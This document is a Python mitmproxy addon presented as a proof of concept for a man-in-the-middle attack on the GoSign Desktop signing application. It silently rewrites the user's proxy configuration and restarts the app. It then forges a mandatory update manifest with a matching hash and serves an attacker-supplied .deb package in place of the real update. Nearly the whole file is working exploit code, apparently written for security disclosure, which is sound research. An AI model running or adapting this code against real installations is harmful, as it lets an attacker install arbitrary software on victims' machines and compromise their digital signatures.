# GoSign Desktop MitM Proof of Concept # Author: Pasquale 'sid' Fiorillo # Date: 2025-10-03 import hashlib import json import os import subprocess import configparser from pathlib import Path from datetime import datetime from mitmproxy import http, ctx from mitmproxy.exceptions import AddonManagerError # Fake update deb file DEB = "gosigndesktop_6.6.6_amd64.deb" # URls to intercept URL_MANIFEST = "https://rinnovofirma.infocert.it/gosign/download/update" URL_DEB = f"https://gosignupdates.infocert.it/gosign/standard/{DEB}" # Proxy conf PROXY_HOST = "127.0.0.1" PROXY_PORT = "8666" # Process Name PROCESS_NAME = "GoSignDesktop" PROCESS_PATH = "/usr/lib/gosigndesktop" _deb_sha256 = None _deb_size = None def _proxify_target() -> bool: # Get the user home directory target_conf_path = None home_dir = os.path.expanduser("~") if home_dir is None or not os.path.isdir(home_dir): ctx.log.error("Failed to get user home directory") return False target_conf_path = Path(home_dir) / ".gosign" / "dike.conf" if target_conf_path is None or not target_conf_path.is_file(): ctx.log.error(f"Target conf file not found: {target_conf_path}") return False # Read the target conf file (it is a INI-like file) # check if "[http_Proxy]" section exists. If exists, remove the section first # then add the section with the new proxy settings: # [http_Proxy] # has_pwd=false # ntlm_auth=false # save_settings=false # use=MANUALPROXY # user= # address={PROXY_HOST} # port={PROXY_PORT} # password= # optBitmask=2 config = configparser.ConfigParser() config.optionxform = str # make option names case-sensitive try: config.read(target_conf_path) except Exception as e: ctx.log.error(f"Failed to read target conf file: {e}") return False if config.has_section("http_Proxy"): config.remove_section("http_Proxy") config.add_section("http_Proxy") config.set("http_Proxy", "has_pwd", "false") config.set("http_Proxy", "ntlm_auth", "false") config.set("http_Proxy", "save_settings", "false") config.set("http_Proxy", "use", "MANUALPROXY") config.set("http_Proxy", "user", "") config.set("http_Proxy", "address", PROXY_HOST) config.set("http_Proxy", "port", PROXY_PORT) config.set("http_Proxy", "password", "") config.set("http_Proxy", "optBitmask", "2") try: with target_conf_path.open("w") as configfile: config.write(configfile) configfile.close() except Exception as e: ctx.log.error(f"Failed to write target conf file: {e}") return False ctx.log.info(f"Set mitmproxy as upstream proxy in {target_conf_path}") # if the PROCESS_NAME process is running, restart it # so it reads the new proxy settings and check for updates try: import psutil for proc in psutil.process_iter(["pid", "name"]): if proc.info["name"] == PROCESS_NAME: ctx.log.info( f"Restarting process {PROCESS_NAME} (pid={proc.info['pid']}) to apply new proxy settings" ) # Terminate the process proc.terminate() try: proc.wait(timeout=5) except psutil.TimeoutExpired: proc.kill() proc.wait() break # Start the process PROCESS_FULL_PATH = os.path.join(PROCESS_PATH, PROCESS_NAME) if not os.path.isfile(PROCESS_FULL_PATH): ctx.log.error(f"Process executable not found: {PROCESS_FULL_PATH}") return False with open(os.devnull, 'wb') as devnull: subprocess.Popen( [PROCESS_FULL_PATH], stdin=devnull, stdout=devnull, stderr=devnull, close_fds=True ) ctx.log.info(f"Process {PROCESS_NAME} restarted") except Exception as e: ctx.log.error(f"Failed to restart process {PROCESS_NAME}: {e}") return False return True def _compute_deb_metadata(): # Compute sha256 and deb size deb_path = Path(__file__).resolve().parent / DEB try: with deb_path.open("rb") as stream: hasher = hashlib.sha256() size = 0 for chunk in iter(lambda: stream.read(8192), b""): hasher.update(chunk) size += len(chunk) except FileNotFoundError: ctx.log.error(f"DEB file not found: {deb_path}") return None, None return hasher.hexdigest(), size def load(l): ctx.log.info("GoSign Desktop PoC addon loaded") global _deb_sha256, _deb_size _deb_sha256, _deb_size = _compute_deb_metadata() if _deb_sha256 is None or _deb_size is None: message = "Failed to load DEB metadata - shutting down mitmproxy" ctx.log.error(message) master = getattr(ctx, "master", None) if master is not None: master.shutdown() raise AddonManagerError(message) ctx.log.info( "Loaded DEB metadata - sha256=%s size=%d bytes" % (_deb_sha256, _deb_size) ) if _proxify_target() is False: message = "Failed to set mitmproxy upstream proxy - shutting down mitmproxy" ctx.log.error(message) master = getattr(ctx, "master", None) if master is not None: master.shutdown() raise AddonManagerError(message) def response(flow: http.HTTPFlow) -> None: # Intercept the URL_MANIFEST if flow.request.method == "GET" and flow.request.pretty_url == URL_MANIFEST: ctx.log.info( f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update manifest ..." ) global _deb_sha256, _deb_size if _deb_sha256 is None or _deb_size is None: _deb_sha256, _deb_size = _compute_deb_metadata() response_body = { "control": {"probability": 100}, "linux": { "6.6.6": { "packages": { "deb": { "64": { "url": f"https://gosignupdates.infocert.it/gosign/standard/{DEB}", "sha256": _deb_sha256, "size": _deb_size, "releaseDate": datetime.today().strftime('%Y-%m-%d'), } } }, "type": "MANDATORY", } }, } body_bytes = json.dumps(response_body, indent=2).encode("utf-8") headers = { "Content-Type": "application/json", "Content-Length": str(len(body_bytes)), } flow.response = http.Response.make(200, body_bytes, headers) # Intercept the URL_DEB if flow.request.method == "GET" and flow.request.pretty_url == URL_DEB: ctx.log.info( f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update package ..." ) deb_path = Path(__file__).resolve().parent / DEB try: with deb_path.open("rb") as stream: body_bytes = stream.read() except FileNotFoundError: ctx.log.error(f"DEB file not found: {deb_path}") flow.response = http.Response.make( 404, b"", { "Content-Type": "text/plain", "Content-Length": "0", }, ) return headers = { "Content-Type": "application/vnd.debian.binary-package", "Content-Length": str(len(body_bytes)), } flow.response = http.Response.make(200, body_bytes, headers)